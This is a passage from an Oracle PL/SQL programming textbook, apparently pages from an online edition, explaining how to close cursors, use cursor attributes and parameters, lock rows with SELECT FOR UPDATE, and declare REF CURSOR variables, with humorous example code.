where <cursor_name> is the name of the cursor you are closing.

An open cursor uses a certain amount of memory; the exact amount depends on the active set for the cursor. It can, therefore, use up quite a lot of the Shared Global Area of the RDBMS. The cursor can also cause the database to issue row-level locks when the FOR UPDATE clause is used in the SELECT statement.

6.8.1 Maximum Number of Cursors

When your database instance is started, an initialization parameter called OPEN_CURSORS specifies the maximum number of open cursors that a single-user process can have at once. This parameter does not control a system-wide feature, but rather the maximum address/memory space used by each process. If you are sloppy and do not close your cursors, you and all other users might encounter the dreaded error message:

ORA-01000:   maximum open cursors exceeded

You would rather not deal with this situation. For one thing, you will need to comb through your code and check for opened cursors which have not been closed. Even more frightening, your database administrator might insist that you tune your application so as to reduce the number of cursors you are using -- real code changes! I say this in jest, but in fact 90% of all the tuning that can be done for an application has nothing to do with the database, and everything to do with the application. Are the SQL statements tuned? Are you closing all opened cursors? And so on.

When you close a cursor, you disable it. Because the cursor no longer has an active set associated with it, you cannot fetch records from the cursor. The memory for that cursor is released and the number of cursors marked as currently open in your session is decreased by one, pulling you away from the brink of error ORA-01000.

You should close a cursor only if it is currently open. You can be sure of a cursor's status by checking the %ISOPEN cursor attribute before you try to close the cursor:

IF company_cur%ISOPEN
THEN
   CLOSE company_cur;
END IF;

6.8.2 Closing Local Cursors

If you declare a cursor in a PL/SQL block (an anonymous block, procedure, or function), the cursor is only defined within (is "local to") that block. When execution of the block terminates, PL/SQL will automatically close any local cursors which were left open without raising an exception.

I recommend, however, that you still include CLOSE statements for any cursor you opened in your programs. Don't depend on the runtime engine to do your cleaning up for you.

In addition, if your cursor is defined in a package, then its scope is not limited to any particular PL/SQL block. If you open such a cursor, it will stay open until you CLOSE it explicitly or you disconnect your Oracle session.

Previous: 6.7 Column Aliases in Cursors | Oracle PL/SQL Programming, 2nd Edition | Next: 6.9 Cursor Attributes
6.7 Column Aliases in Cursors | Book Index | 6.9 Cursor Attributes
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 6] 6.9 Cursor Attributes

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

6.9 Cursor Attributes

You can manipulate cursors using the OPEN, FETCH, and CLOSE statements. When you need to get information about the current status of your cursor, or the result of the last fetch from a cursor, you will access cursor attributes.

Both explicit and implicit cursors have four attributes, as shown in Table 6.1.

Table 6.1: Cursor Attributes
Name | Description
%FOUND | Returns TRUE if record was fetched successfully, FALSE otherwise.
%NOTFOUND | Returns TRUE if record was not fetched successfully, FALSE otherwise.
%ROWCOUNT | Returns number of records fetched from cursor at that point in time.
%ISOPEN | Returns TRUE if cursor is open, FALSE otherwise.

To obtain information about the execution of the cursor, you append the cursor attribute name to the name of your cursor. For example, if you declare a cursor as follows:

CURSOR caller_cur IS
   SELECT caller_id, company_id FROM caller;

then the four attributes associated with the cursor are:

caller_cur%FOUND
caller_cur%NOTFOUND
caller_cur%ROWCOUNT
caller_cur%ISOPEN

Some of the ways you can access the attributes of an explicit cursor are shown below in bold:

DECLARE
   CURSOR caller_cur IS
      SELECT caller_id, company_id FROM caller;
   caller_rec caller_cur%ROWTYPE;
BEGIN
   /* Only open the cursor if it is not yet open */
   IF NOT caller_cur%ISOPEN
   THEN
      OPEN caller_cur
   END IF;
   FETCH caller_cur INTO caller_rec;

   /* Keep fetching until no more records are FOUND */
   WHILE caller_cur%FOUND
   LOOP
      DBMS_OUTPUT.PUT_LINE
         ('Just fetched record number ' ||
          TO_CHAR (caller_cur%ROWCOUNT));
      FETCH caller_cur INTO caller_rec;
   END LOOP;
   CLOSE caller_cur;
END;

PL/SQL does provide these same attributes for an implicit cursor. Because an implicit cursor has no name, PL/SQL assigns the generic name SQL to it. Using this name, you can access the attributes of an implicit cursor. For more information on this topic, see Section 6.9.5, "Implicit SQL Cursor Attributes" later in the chapter.

You can reference cursor attributes in your PL/SQL code, as shown in the preceding example, but you cannot use those attributes inside a SQL statement. If you try to use the %ROWCOUNT attribute in the WHERE clause of a SELECT, for example:

SELECT caller_id, company_id
  FROM caller
 WHERE company_id = company_cur%ROWCOUNT;

then you will get a compile error:

PLS-00229: Attribute expression within SQL expression

The four explicit cursor attributes are examined in detail in the following sections.

6.9.1 The %FOUND Attribute

The %FOUND attribute reports on the status of your most recent FETCH against the cursor. The attribute evaluates to TRUE if the most recent FETCH against the explicit cursor returned a row, or FALSE if no row was returned.

If the cursor has not yet been opened, a reference to the %FOUND attribute raises the INVALID_CURSOR exception. You can evaluate the %FOUND attribute of any open cursor, because you reference the cursor by name.

In the following example, I loop through all the callers in the caller_cur cursor, assign all calls entered before today to that particular caller, and then fetch the next record. If I have reached the last record, then the %NOTFOUND attribute is set to TRUE and I exit the simple loop.

OPEN caller_cur;
LOOP
   FETCH caller_cur INTO caller_rec;
   EXIT WHEN NOT caller_cur%FOUND;

   UPDATE call
      SET caller_id = caller_rec.caller_id
    WHERE call_timestamp < SYSDATE;
END LOOP;
CLOSE call_cur;

In this next example, I keep a count of the total number of orders entered for a particular company. If I have fetched my last order (%FOUND is FALSE), then I display a message in Oracle Forms informing the user of the total number of orders:

OPEN order_cur;
LOOP
   FETCH order_cur INTO order_number, company_id;
   EXIT WHEN order_cur%NOTFOUND;
   do_other_stuff_then_keep_count;
   :order.count_orders := :order.count_orders + 1;
END LOOP;
CLOSE order_cur;

IF :order.count_orders > 1
THEN
   DBMS_OUTPUT.PUT_LINE
      ('A total of ' || TO_CHAR (:order.count_orders) ||
       ' orders have been found.');
ELSE
   /*
   || I hate to code messages like 'A total of 1 orders was found.'
   || It makes me sound illiterate. So I will include a special-case
   || message when just one order is found.
   */
   DBMS_OUTPUT.PUT_LINE('Just one order was found.');
END IF;

6.9.2 The %NOTFOUND Attribute

The %NOTFOUND attribute is the opposite of %FOUND. It returns TRUE if the explicit cursor is unable to fetch another row because the last row was fetched. If the cursor is unable to return a row because of an error, the appropriate exception is raised. If the cursor has not yet been opened, a reference to the %NOTFOUND attribute raises the INVALID_CURSOR exception. You can evaluate the %NOTFOUND attribute of any open cursor, because you reference the cursor by name.

When should you use %FOUND and when should you use %NOTFOUND? The two attributes are directly, logically opposed, so whatever you can do with one you can also do with a NOT of the other. In other words, once a fetch has been performed against the open cursor <cursor_name>, the following expressions are equivalent:

<cursor_name>%FOUND						= NOT <cursor_name>%NOTFOUND
<cursor_name>%NOTFOUND						= NOT <cursor_name>%FOUND

Use whichever formulation fits most naturally in your code. In a previous example, I issued the following statement:

EXIT WHEN NOT caller_cur%FOUND;

to terminate the loop. A simpler and more direct statement would use the %NOTFOUND instead of %FOUND, as follows:

EXIT WHEN caller_rec%NOTFOUND;

6.9.3 The %ROWCOUNT Attribute

The %ROWCOUNT attribute returns the number of records fetched from a cursor at the time that the attribute is queried. When you first open a cursor, its %ROWCOUNT is set to zero. If you reference the %ROWCOUNT attribute of a cursor that is not open, you will raise the INVALID_CURSOR exception. After each record is fetched, %ROWCOUNT is increased by one. This attribute can be referenced in a PL/SQL statement, but not in a SQL statement.

You can use %ROWCOUNT to limit the number of records fetched from a cursor. The following example retrieves only the first ten records from the cursor, providing the top ten companies placing orders in 1993:

DECLARE
   CURSOR company_cur IS
      SELECT company_name, company_id, total_order
        FROM company_revenue_view
       WHERE TO_NUMBER (TO_CHAR (order_date)) = 1993
       ORDER BY total_order DESC;
   company_rec company_cur%ROWTYPE;
BEGIN
OPEN company_cur;
LOOP
   FETCH company_cur INTO company_rec;
   EXIT WHEN company_cur%ROWCOUNT > 10 OR
             company_cur%NOTFOUND;

   DBMS_OUTPUT.PUT_LINE
      ('Company ' || company_rec.company_name ||
       ' ranked number ' || TO_CHAR (company_cur%ROWCOUNT) || '.');
END LOOP;
CLOSE company_cur;

6.9.4 The %ISOPEN Attribute

The %ISOPEN attribute returns TRUE if the cursor is open; otherwise, it returns FALSE. In most cases when you use a cursor, you open it, fetch from it, and close it, all within one routine. Most of the time it is easy to know whether your cursor is open or closed. In some cases, however, you will spread your cursor actions out over a wider area of code, perhaps across different routines (possible if the cursor is declared in a package). If so, it will make sense to use the %ISOPEN attribute to make sure that a cursor is open before you perform a fetch:

IF NOT caller_cur%ISOPEN
THEN
   OPEN caller_cur;
END IF;
FETCH caller_cur INTO caller_rec;
...

NOTE: Remember that if you try to open a cursor that has already been opened, you will receive a runtime error:

ORA-06511: PL/SQL: cursor already open

6.9.5 Implicit SQL Cursor Attributes

When the RDBMS opens an implicit cursor to process your request (whether it is a query or an INSERT or an UPDATE), it makes cursor attributes available to you with the SQL cursor. This is not a cursor in the way of an explicit cursor. You cannot open, fetch from, or close the SQL cursor, but you can access information about the most recently executed SQL statement through SQL cursor attributes.

The SQL cursor has the same four attributes as an explicit cursor:

SQL%FOUND
SQL%NOTFOUND
SQL%ROWCOUNT
SQL%ISOPEN

6.9.6 Differences Between Implicit and Explicit Cursor Attributes

The values returned by implicit cursor attributes differ from those of explicit cursor attributes in the following ways:

  • If the RDBMS has not opened an implicit SQL cursor in the session, then the SQL%ROWCOUNT attribute returns NULL instead of raising the INVALID_CURSOR error. References to the other attributes (ISOPEN, FOUND, NOTFOUND) all return FALSE. You will never raise the INVALID_CURSOR error with an implicit cursor attribute reference.

  • The %ISOPEN attribute will always return FALSE -- before and after the SQL statement. After the statement is executed (whether it is SELECT, UPDATE, DELETE, or INSERT), the implicit cursor will already have been opened and closed implicitly. An implicit cursor can never be open outside of the statement itself.

  • SQL cursor attributes are always set according to the results of the most recently executed SQL statement. That SQL statement might have been executed in a stored procedure which your program called; you might not even be aware of that SQL statement execution. If you plan to make use of a SQL cursor attribute, make sure that you reference that attribute immediately after you execute the SQL statement.

  • The %FOUND attribute returns TRUE if an UPDATE, DELETE, or INSERT affected at least one record. It will return FALSE if those statements failed to affect any records. It returns TRUE if an implicit SELECT returns one row.

  • The behavior of the %NOTFOUND attribute for UPDATE, DELETE, or INSERT statements is the opposite of %FOUND. The situation for an implicit SELECT is a bit different: when you use an implicit SELECT statement, never rely on the %NOTFOUND and %FOUND attributes.

  • When an implicit SELECT statement does not return any rows, PL/SQL immediately raises the NO_DATA_FOUND exception. When an implicit SELECT statement returns more than one row, PL/SQL immediately raises the TOO_MANY_ROWS exception. In either case, once the exception is raised, control shifts to the exception section of the PL/SQL block.

Previous: 6.8 Closing Cursors | Oracle PL/SQL Programming, 2nd Edition | Next: 6.10 Cursor Parameters
6.8 Closing Cursors | Book Index | 6.10 Cursor Parameters
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 6] 6.10 Cursor Parameters

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

6.10 Cursor Parameters

You are probably familiar with parameters for procedures and functions. Parameters provide a way to pass information into and out of a module. Used properly, parameters improve the usefulness and flexibility of modules.

PL/SQL also allows you to pass parameters into cursors. The same rationale for using parameters in modules applies to parameters for cursors:

  • A parameter makes the cursor more reusable. Instead of hardcoding a value into the WHERE clause of a query to select particular information, you can use a parameter and then pass different values to the WHERE clause each time a cursor is opened.

  • A parameter avoids scoping problems. When you pass parameters instead of hardcoding values, the result set for that cursor is not tied to a specific variable in a program or block. If your program has nested blocks, you can define the cursor at a higher-level (enclosing) block and use it in any of the subblocks with variables defined in those local blocks.

You can specify as many cursor parameters as you want and need. When you OPEN the parameter, you need to include an argument in the parameter list for each parameter, except for trailing parameters that have default values.

When should you parameterize your cursor? I apply the same rule of thumb to cursors as to modules: if I am going to use the cursor in more than one place, with different values for the same WHERE clause, then I should create a parameter for the cursor.

Let's take a look at the difference between parameterized and unparameterized cursors. First, a cursor without any parameters:

CURSOR joke_cur IS
   SELECT name, category, last_used_date
     FROM joke;

The result set of this cursor is all the rows in the joke table. If I just wanted to retrieve all jokes in the HUSBAND category, I would need to add a WHERE clause as follows:

CURSOR joke_cur IS
   SELECT name, category, last_used_date
     FROM joke
    WHERE category = 'HUSBAND';

I didn't use a cursor parameter to accomplish this task, nor did I need to. The joke_cur cursor now retrieves only those jokes about husbands. That's all well and good, but what if I also would like to see lightbulb jokes and then chicken-and-egg jokes and finally, as my ten-year-old would certainly demand, all my knock-knock jokes?

6.10.1 Generalizing Cursors with Parameters

I really don't want to write a separate cursor for each different category -- that is definitely not a data-driven approach to programming. Instead, I would much rather be able to change the joke cursor so that it can accept different categories and return the appropriate rows. The best (though not the only) way to do this is with a cursor parameter:

DECLARE
   /*
   || Cursor with parameter list consisting of a single
   || string parameter.
   */
   CURSOR joke_cur (category_in VARCHAR2)
   IS
      SELECT name, category, last_used_date
        FROM joke
       WHERE category = UPPER (category_in);

   joke_rec joke_cur%ROWTYPE;

BEGIN
   /* Now when I open the cursor, I also pass the argument */
   OPEN joke_cur (:joke.category);
   FETCH joke_cur INTO joke_rec;

I added a parameter list after the cursor name and before the IS keyword. I took out the hardcoded "HUSBAND" and replaced it with "UPPER (category_in)" so that I could enter "HUSBAND", "husband", or "HuSbAnD" and the cursor would still work. Now when I open the cursor, I specify the value I wish to pass as the category by including that value (which can be a literal, constant, or expression) inside parentheses. At the moment the cursor is opened, the SELECT statement is parsed and bound using the specified value for category_in. The result set is identified and the cursor is readied for fetching.

6.10.2 Opening Cursors with Parameters

I can OPEN that same cursor with any category I like. Now I don't have to write a separate cursor to accommodate this requirement:

OPEN joke_cur (:joke.category);
OPEN joke_cur ('husband');
OPEN joke_cur ('politician');
OPEN joke_cur (:joke.relation || ' IN-LAW');

The most common place to use a parameter in a cursor is in the WHERE clause, but you can make reference to it anywhere in the SELECT statement, as shown here:

DECLARE
   CURSOR joke_cur (category_in VARCHAR2)
   IS
      SELECT name, category_in, last_used_date
        FROM joke
       WHERE category = UPPER (category_in);

Instead of returning the category from the table, I simply pass back the category_in parameter in the select list. The result will be the same either way, because my WHERE clause restricts categories to the parameter value.

6.10.3 Scope of Cursor Parameters

The scope of the cursor parameter is confined to that cursor. You cannot refer to the cursor parameter outside of the SELECT statement associated with the cursor. The following PL/SQL fragment will not compile because the program_name identifier is not a local variable in the block. Instead, it is a formal parameter for the cursor and is defined only inside the cursor:

DECLARE
   CURSOR scariness_cur (program_name VARCHAR2)
   IS
      SELECT SUM (scary_level) total_scary_level
        FROM tales_from_the_crypt
       WHERE prog_name = program_name;
BEGIN
   program_name := 'THE BREATHING MUMMY'; /* Illegal reference */
   OPEN scariness_cur (program_name);
END;

6.10.4 Cursor Parameter Modes

The syntax for cursor parameters is very similar to that of procedures and functions, with the restriction that a cursor parameter can be an IN parameter only. You cannot specify OUT or IN OUT modes for cursor parameters (see Chapter 15, Procedures and Functions, for more information on parameter modes).

The IN and IN OUT modes are used to pass values out of a procedure through that parameter. This doesn't make sense for a cursor. Values cannot be passed back out of a cursor through the parameter list. Information is retrieved from a cursor only by fetching a record and copying values from the column list with an INTO clause.

6.10.5 Default Values for Parameters

Cursor parameters can be assigned default values. Here is an example of a parameterized cursor with a default value:

CURSOR emp_cur (emp_id_in NUMBER := 0)
IS
   SELECT employee_id, emp_name
     FROM employee
    WHERE employee_id = emp_id_in;

So if Joe Smith's employee ID is 1001, the following statements would set my_emp_id to 1001 and my_emp_name to JOE SMITH:

OPEN emp_cur (1001);
FETCH emp_cur INTO my_emp_id, my_emp_name;

Because the emp_id_in parameter has a default value, I can also open and fetch from the cursor without specifying a parameter. If I do not specify a value for the parameter, the cursor uses the default value.

Previous: 6.9 Cursor Attributes | Oracle PL/SQL Programming, 2nd Edition | Next: 6.11 SELECT FOR UPDATE in Cursors
6.9 Cursor Attributes | Book Index | 6.11 SELECT FOR UPDATE in Cursors
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 6] 6.11 SELECT FOR UPDATE in Cursors

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

6.11 SELECT FOR UPDATE in Cursors

When you issue a SELECT statement against the database to query some records, no locks are placed on the selected rows. In general, this is a wonderful feature because the number of records locked at any given time is (by default) kept to the absolute minimum: only those records which have been changed but not yet committed are locked. Even then, others will be able to read those records as they appeared before the change (the "before image" of the data).

There are times, however, when you will want to lock a set of records even before you change them in your program. Oracle offers the FOR UPDATE clause of the SELECT statement to perform this locking.

When you issue a SELECT...FOR UPDATE statement, the RDBMS automatically obtains exclusive row-level locks on all the rows identified by the SELECT statement, holding the records "for your changes only" as you move through the rows retrieved by the cursor. No one else will be able to change any of these records until you perform a ROLLBACK or a COMMIT.

Here are two examples of the FOR UPDATE clause used in a cursor:

CURSOR toys_cur IS
   SELECT name, manufacturer, preference_level, sell_at_yardsale_flag
     FROM my_sons_collection
    WHERE hours_used = 0
      FOR UPDATE;

CURSOR fall_jobs_cur IS
   SELECT task, expected_hours, tools_required, do_it_yourself_flag
     FROM winterize
    WHERE year = TO_CHAR (SYSDATE, 'YYYY')
      FOR UPDATE OF task;

The first cursor uses the unqualified FOR UPDATE clause, while the second cursor qualifies the FOR UPDATE with a column name from the query.

You can use the FOR UPDATE clause in a SELECT against multiple tables. In this case, rows in a table are locked only if the FOR UPDATE clause references a column in that table. In the following example the FOR UPDATE clause does not result in any locked rows in the winterize table:

CURSOR fall_jobs_cur IS
   SELECT w.task, w.expected_hours,
          w.tools_required, w.do_it_yourself_flag
     FROM winterize w, husband_config hc
    WHERE year = TO_CHAR (SYSDATE, 'YYYY')
      FOR UPDATE OF husband_config.max_procrastination_allowed;

The FOR UPDATE OF clause only mentions the max_procrastination_allowed column; no columns in the winterize table are listed.

The OF list of the FOR UPDATE clause does not restrict you to changing only those columns listed. Locks are still placed on all rows; the OF list just gives you a way to document more clearly what you intend to change. If you simply state FOR UPDATE in the query and do not include one or more columns after the OF keyword, then the database will then lock all identified rows across all tables listed in the FROM clause.

Furthermore, you do not have to actually UPDATE or DELETE any records just because you issued a SELECT...FOR UPDATE -- that act simply states your intention to be able to do so.

Finally, you can append the optional keyword NOWAIT to the FOR UPDATE clause to tell Oracle not to wait if the table has been locked by another user. In this case, control will be returned immediately to your program so that you can perform other work or simply wait for a period of time before trying again. Without the NOWAIT clause, your process will block until the table is available. There is no limit to the wait time unless the table is remote. For remote objects, the Oracle initialization parameter, DISTRIBUTED_LOCK_TIMEOUT, is used to set the limit.

6.11.1 Releasing Locks with COMMIT

As soon as a cursor with a FOR UPDATE clause is OPENed, all rows identified in the result set of the cursor are locked and remain locked until your session issues either a COMMIT statement to save any changes or a ROLLBACK statement to cancel those changes. When either of these actions occurs, the locks on the rows are released. As a result, you cannot execute another FETCH against a FOR UPDATE cursor after you COMMIT or ROLLBACK. You will have lost your position in the cursor.

Consider the following program, which assigns winterization chores:[1]

[1] Caveat: I don't want to set false expectations with anyone, especially my wife. The code in this block is purely an example. In reality, I set the max_procrastination_allowed to five years and let my house decay until I can afford to pay someone to do something, or my wife does it, or she gives me an ultimatum. Now you know why I decided to write a book...

DECLARE
   /* All the jobs in the Fall to prepare for the Winter */
   CURSOR fall_jobs_cur
   IS
      SELECT task, expected_hours, tools_required, do_it_yourself_flag
        FROM winterize
       WHERE year = TO_CHAR (SYSDATE, 'YYYY')
         AND completed_flag = 'NOTYET'
       FOR UPDATE OF task;
BEGIN
   /* For each job fetched by the cursor... */
   FOR job_rec IN fall_jobs_cur
   LOOP
      IF job_rec.do_it_yourself_flag = 'YOUCANDOIT'
      THEN
         /*
         || I have found my next job. Assign it to myself (like someone
         || is going to do it!) and then commit the changes.
         */
         UPDATE winterize SET responsible = 'STEVEN'
          WHERE task = job_rec.task
            AND year = TO_CHAR (SYSDATE, 'YYYY');
         COMMIT;
      END IF;
   END LOOP;
END;

Suppose this loop finds its first YOUCANDOIT job. It then commits an assignment of a job to STEVEN. When it tries to FETCH the next record, the program raises the following exception:

ORA-01002: fetch out of sequence

If you ever need to execute a COMMIT or ROLLBACK as you FETCH records from a SELECT FOR UPDATE cursor, you should include code (such as a loop EXIT or other conditional logic) to halt any further fetches from the cursor.

6.11.2 The WHERE CURRENT OF Clause

PL/SQL provides the WHERE CURRENT OF clause for both UPDATE and DELETE statements inside a cursor in order to allow you to easily make changes to the most recently fetched row of data.

The general format for the WHERE CURRENT OF clause is as follows:

UPDATE table_name
   SET set_clause
 WHERE CURRENT OF cursor_name;

DELETE
  FROM table_name
 WHERE CURRENT OF cursor_name;

Notice that the WHERE CURRENT OF clause references the cursor and not the record into which the next fetched row is deposited.

The most important advantage to using WHERE CURRENT OF where you need to change the row fetched last is that you do not have to code in two (or more) places the criteria used to uniquely identify a row in a table. Without WHERE CURRENT OF, you would need to repeat the WHERE clause of your cursor in the WHERE clause of the associated UPDATEs and DELETEs. As a result, if the table structure changes in a way that affects the construction of the primary key, you have to make sure that each SQL statement is upgraded to support this change. If you use WHERE CURRENT OF, on the other hand, you only have to modify the WHERE clause of the SELECT statement.

This might seem like a relatively minor issue, but it is one of many areas in your code where you can leverage subtle features in PL/SQL to minimize code redundancies. Utilization of WHERE CURRENT OF, %TYPE, and %ROWTYPE declaration attributes, cursor FOR loops, local modularization, and other PL/SQL language constructs can have a big impact on reducing the pain you may experience when you maintain your Oracle-based applications.

Let's see how this clause would improve the previous example. In the jobs cursor FOR loop above, I want to UPDATE the record that was currently FETCHed by the cursor. I do this in the UPDATE statement by repeating the same WHERE used in the cursor because (task, year) makes up the primary key of this table:

WHERE task = job_rec.task
  AND year = TO_CHAR (SYSDATE, 'YYYY');

This is a less than ideal situation, as explained above: I have coded the same logic in two places, and this code must be kept synchronized. It would be so much more convenient and natural to be able to code the equivalent of the following statements:

Delete the record I just fetched.

or:

Update these columns in that row I just fetched.

A perfect fit for WHERE CURRENT OF! The next version of my winterization program below uses this clause. I have also switched to a simple loop from FOR loop because I want to exit conditionally from the loop:

DECLARE
   CURSOR fall_jobs_cur IS SELECT ... same as before ... ;
   job_rec fall_jobs_cur%ROWTYPE;
BEGIN
   OPEN fall_jobs_cur;
   LOOP
      FETCH fall_jobs_cur INTO job_rec;

      IF fall_jobs_cur%NOTFOUND
      THEN
         EXIT;

      ELSIF job_rec.do_it_yourself_flag = 'YOUCANDOIT'
      THEN
         UPDATE winterize SET responsible = 'STEVEN'
          WHERE CURRENT OF fall_jobs_cur;
         COMMIT;
         EXIT;
      END IF;
   END LOOP;
   CLOSE fall_jobs_cur;
END;

Previous: 6.10 Cursor Parameters | Oracle PL/SQL Programming, 2nd Edition | Next: 6.12 Cursor Variables
6.10 Cursor Parameters | Book Index | 6.12 Cursor Variables
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 6] 6.12 Cursor Variables

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

6.12 Cursor Variables

In PL/SQL Release 2.3, available with the release of Oracle Server Release 7.3, you can create and use cursor variables. Unlike an explicit cursor, which names the PL/SQL work area for the result set, a cursor variable is instead a (Release 2.3) reference to that work area. Explicit and implicit cursors are both static in that they are tied to specific queries. The cursor variable can be opened for any query, even different queries within a single program execution.

The most important benefit of the cursor variable is that it provides a mechanism for passing results of queries (the rows returned by fetches against a cursor) between different PL/SQL programs -- even between client and server PL/SQL programs. Prior to PL/SQL Release 2.3, you would have had to fetch all data from the cursor, store it in PL/SQL variables (perhaps a PL/SQL table), and then pass those variables as arguments. With cursor variables, you simply pass the reference to that cursor. This improves performance and streamlines your code.

It also means that the cursor is, in effect, shared among the programs which have access to the cursor variable. In a client-server environment, for example, a program on the client side could open and start fetching from the cursor variable, then pass that variable as an argument to a stored procedure on the server. This stored program could then continue fetching and pass control back to the client program to close the cursor. You can also perform the same steps between different stored programs, on the same or different database instances.

Cursor Variables in PL/SQL Release 2.2

Cursor variables first became available in PL/SQL Release 2.2. This first version of cursor variables allowed you to open and close the cursor objects within PL/SQL, but you could fetch through these cursor variables only within a host language (using the Oracle Call Interface -- OCI -- or a precompiler like Pro*C). It was not until Release 2.3 that the PL/SQL language made cursor variables available for "self-contained" execution, independent of any host language.

Because the focus of this book is on standalone PL/SQL development, I present cursor variables as a PL/SQL Release 2.3 enhancement. If you do have PL/SQL Release 2.2 and work with PL/SQL in a host language environment, you can still use cursor variables. Just don't try to FETCH within PL/SQL and don't expect any of the cursor attributes to be available for your cursor variables.

NOTE: The client-server aspect of this sharing will only really come into play when the Oracle Developer/2000 tools are converted to use PL/SQL Release 2.3 or above.

This process, shown in Figure 6.2, offers dramatic new possibilities for data sharing and cursor management in PL/SQL programs.

Figure 6.2: Referencing a cursor variable across two programs

The code you write to take advantage of cursor variables is very similar to that for explicit cursors. The following example declares a cursor type (called a REF CURSOR type) for the company table, then opens, fetches from, and closes the cursor:

DECLARE
   /* Create the cursor type. */
   TYPE company_curtype IS REF CURSOR RETURN company%ROWTYPE;

   /* Declare a cursor variable of that type. */
   company_curvar company_curtype;

   /* Declare a record with same structure as cursor variable. */
   company_rec company%ROWTYPE;
BEGIN
   /* Open the cursor variable, associating with it a SQL statement. */
   OPEN company_curvar FOR SELECT * FROM company;

   /* Fetch from the cursor variable. */
   FETCH company_curvar INTO company_rec;

   /* Close the cursor object associated with variable. */
   CLOSE company_curvar;
END;

That looks an awful lot like explicit cursor operations, except for the following:

  • The REF CURSOR type declaration

  • The OPEN FOR syntax which specified the query at the time of the open

While the syntax is very similar, the fact that the cursor variable is a variable opens up many new opportunities in your programs. These are explored in the remainder of this section.

6.12.1 Features of Cursor Variables

Cursor variables let you:

  • Associate a cursor variable with different queries at different times in your program execution. In other words, a single cursor variable can be used to fetch from different result sets.

  • Pass a cursor variable as an argument to a procedure or function. You can, in essence, share the results of a cursor by passing the reference to that result set.

  • Employ the full functionality of static PL/SQL cursors for cursor variables. You can OPEN, CLOSE, and FETCH with cursor variables within your PL/SQL programs. You can reference the standard cursor attributes -- %ISOPEN, %FOUND, %NOTFOUND, and %ROWCOUNT -- for cursor variables.

  • Assign the contents of one cursor (and its result set) to another cursor variable. Because the cursor variable is a variable, it can be used in assignment operations. There are, however, restrictions on referencing this kind of variable, addressed later in this chapter.

6.12.2 Similarities to Static Cursors

One of the key design requirements for cursor variables was that as much as possible the semantics used to manage cursor objects would be the same as that of static cursors. While the declaration of a cursor variable and the syntax for opening it are enhanced, the following cursor operations are unchanged for cursor variables:

  • The CLOSE statement. In the following example I declare a REF CURSOR type and a cursor variable based on that type. Then I close the cursor variable using the same syntax as for that of a static cursor:

    DECLARE
   TYPE var_cur_type IS REF CURSOR;
   var_cur var_cur_type;
BEGIN
   CLOSE var_cur;
END;

  • Cursor attributes. You can use any of the four cursor attributes with exactly the same syntax as for that of a static cursor. The rules governing the use and values returned by those attributes match that of explicit cursors. If I have declared a variable cursor as in the previous example, I could use all the cursor attributes as follows:

    var_cur%ISOOPEN
var_cur%FOUND
var_cur%NOTFOUND
var_cur%ROWCOUNT

  • Fetching from the cursor variable. You use the same FETCH syntax when fetching from a cursor variable into local PL/SQL data structures. There are, however, additional rules applied by PL/SQL to make sure that the data structures of the cursor variable's row (the set of values returned by the cursor object) match that of the data structures to the right of the INTO keyword. These rules are discussed in Section 6.12.6, "Rules for Cursor Variables".

Because the syntax for these aspects of cursor variables remain unchanged, I won't cover them again in the remainder of this section. Instead I will focus on the new capabilities available and the changed syntax required for cursor variables.

6.12.3 Declaring REF CURSOR Types and Cursor Variables

Just as with a PL/SQL table or a programmer-defined record, you must perform two distinct declaration steps in order to create a cursor variable:

  1. Create a referenced cursor TYPE.

  2. Declare the actual cursor variable based on that type.

The syntax for creating a referenced cursor type is as follows:

TYPE cursor_type_name IS REF CURSOR [ RETURN return_type ];

where cursor_type_name is the name of the type of cursor and return_type is the RETURN data specification for the cursor type. The return_type can be any of the data structures valid for a normal cursor RETURN clause, defined using the %ROWTYPE attribute or by referencing a previously-defined record TYPE.

Notice that the RETURN clause is optional with the REF CURSOR type statement. Both of the following declarations are valid:

TYPE company_curtype IS REF CURSOR RETURN company%ROWTYPE;
TYPE generic_curtype IS REF CURSOR;

The first form of the REF CURSOR statement is called a strong type because it attaches a record type (or row type) to the cursor variable type at the moment of declaration. Any cursor variable declared using that type can only be used with SQL statement and FETCH INTO data structures which match the specified record type. The advantage of a strong REF TYPE is that the compiler can determine whether or not the developer has properly matched up the cursor variable's FETCH statements with its cursor object's query list.

The second form of the REF CURSOR statement, in which the RETURN clause is missing, is called a weak type. This cursor variable type is not associated with any record data structure. Cursor variables declared without the RETURN clause can be used in much more flexible ways than the strong type. They can be used with any query, with any rowtype structure -- varying even within the course of a single program.

6.12.3.1 Declaring cursor variables

The syntax for declaring a cursor variable is:

cursor_name cursor_type_name;

where cursor_name is the name of the cursor and cursor_type_name is the name of the type of cursor previously defined with a TYPE statement.

Here is an example of the creation of a cursor variable:

DECLARE
   /* Create a cursor type for sports cars. */
   TYPE sports_car_cur_type IS REF CURSOR RETURN car%ROWTYPE;

   /* Create a cursor variable for sports cars. */
   sports_car_cur sports_car_cur_type;
BEGIN
   ...
